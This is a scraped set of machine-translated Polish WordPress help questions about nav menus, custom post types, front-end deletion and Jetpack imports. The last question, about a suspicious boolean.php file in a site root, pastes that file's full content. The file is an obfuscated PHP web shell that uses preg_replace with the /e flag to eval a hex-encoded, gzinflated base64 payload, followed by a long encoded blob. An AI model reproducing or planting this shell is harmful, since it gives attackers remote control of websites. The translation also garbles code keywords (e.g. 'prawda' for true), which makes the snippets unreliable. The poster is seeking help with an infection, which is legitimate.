title: Dodawanie niestandardowego pola/właściwości do obiektu wp_nav_menu

text: jestem noobem z wp i próbowałem szukać sposobu na dodanie opcji / ustawienia / niestandardowego pola meta do obiektu menu nawigacyjnego, w którym mogę go oznaczyć jako globalną nawigację; ma to być używane w konfiguracji wielostanowiskowej. Pomyślałem, że nie powinienem polegać na tym, że nawigacja istnieje w witrynie nadrzędnej i że każda witryna może zdefiniować globalną nawigację, która w razie potrzeby może być zapytaniem. Widziałem inne rozwiązania, ale wydaje się to najbardziej eleganckie, jeśli chodzi o nie statyczną definiowanie identyfikatora bloga jako argumentu lub poleganie na tym, że globalna nawigacja istnieje w nadrzędnej „nieużywanej” witrynie, w konfiguracji wielostanowiskowej. Z góry dziękuję za pomoc!


title: pokaż bieżący element w niestandardowym menu, gdy znajduje się w niestandardowym typie postu

text: Mam niestandardowy post typu „produkt”. Muszę mieć dostęp do jego indeksu z głównego menu, więc dodałem wpis Menu niestandardowe, po prostu podając "/works/" jako wartość adresu URL. Problem polega na tym, że jeśli patrzę na pojedynczy produkt, link do głównego menu indeksu nie otrzymuje klasy current_menu_ancestor. Masz pomysł, jak to naprawić? register_post_type( 'produkt', array( 'labels' => array( 'name' => __( 'Działa' ), 'singular_name' => __( 'Praca' ), 'add_new' => _x('Dodaj nowy' , 'Praca'), 'add_new_item' => __('Dodaj nową pracę'), 'edit_item' => __('Edytuj pracę'), 'new_item' => __('Nowa praca'), 'view_item' = > __('Wyświetl pracę'), 'search_items' => __('Wyszukaj prace'), 'not_found' => __('Nie znaleziono pracy'), 'not_found_in_trash' => __('Nie znaleziono pracy w koszu' ), 'menu_name' => 'Działa' ), 'public' => true, 'publicly_queryable' => true, 'exclude_from_search'=>false, 'show_ui '=>true, 'query_var' => true, 'show_in_menu ' =>prawda, 'show_in_nav_menus'=>prawda, 'has_archive' => 'works', 'rewrite' => array('slug'=>'work','with_front'=>false), 'menu_position' => 2, 'menu_icon' => get_stylesheet_directory_uri() . '/library/images/custom-post-icon.png', 'capability_type' => 'post', 'hierarchical' => false, 'supports'=>array('title','editor','thumbnail', 'wyciąg'), 'taksonomie'=>array('post_tag') ) );


title: Którą metodę użyć podczas usuwania postów z front-endu

text: Próbuję zaciągnąć wszystkie moje posty na interfejsie użytkownika wraz z linkami do usuwania i edycji (za pomocą interfejsu API shortcode). Mam trudności z usuwaniem linków. Dla mnie najbardziej oczywistym sposobem obsługi usuwania jest użycie zmiennych zapytania i $_GET do usunięcia. Jeśli jednak użytkownik będzie ponownie ładował stronę, WordPress spróbuje usunąć post przy każdym załadowaniu strony. Innym rozwiązaniem, które przychodzi na myśl, jest umieszczenie każdego linku do usuwania jako przycisku i osadzenie go w formularzu wraz z ukrytymi polami zawierającymi identyfikator posta i wartość jednorazową itp. Może to jednak potencjalnie skutkować setkami elementów formularza i jeszcze większą liczbą ukrytych pól na jedna strona, co wydaje się nieuporządkowane. Ostatnim rozwiązaniem, jakie przychodzi mi do głowy, jest użycie przekierowania. Mógłbym użyć zmiennych zapytania, ale przechwycić ładowanie strony, usunąć post i przekierować użytkownika na stronę bez zmiennych zapytania. Jednak nie mogę znaleźć odpowiedniego haka do tego. Chcę, aby moja funkcja działała wystarczająco wcześnie, aby nie otrzymywać żadnych wiadomości „nagłówki już wysłane”. Chciałbym wiedzieć, która metoda jest właściwa? I czy jest hak, którego mogę użyć do tego ostatniego rozwiązania (coś w rodzaju haka ładunkowego, ale dla front-endu). Wielkie dzięki.


title: Jak zaimportować adresy e-mail do subskrypcji WordPress.com?

text: Mam plik CSV z adresami e-mail, które chcę zaimportować do subskrypcji Wordpress.coms Jetpack.


title: podejrzany plik boolean.php w wp web root

text: Dzisiaj zauważyłem w moim katalogu głównym podejrzany plik php: boolian.php i serwerowe pliki .html o losowych nazwach, wszystkie zawierające trojany. Pamiętam, że wczoraj właśnie wrzuciłem i aktywowałem kilka motywów, które pobrałem z wordpress.org. Strona jest w porządku, jednak zastanawiam się, czy ktoś miał wcześniej takie problemy i może wie, który motyw lub wtyczka mogą za to odpowiadać. Oto zawartość pliku: <?php $auth_pass = "fbc3709d5836fbef684552208cda1fd9"; $kolor = "#df5"; $default_action = 'FilesMan'; $default_use_ajax = prawda; $default_charset = 'Windows-1251'; preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\ x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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 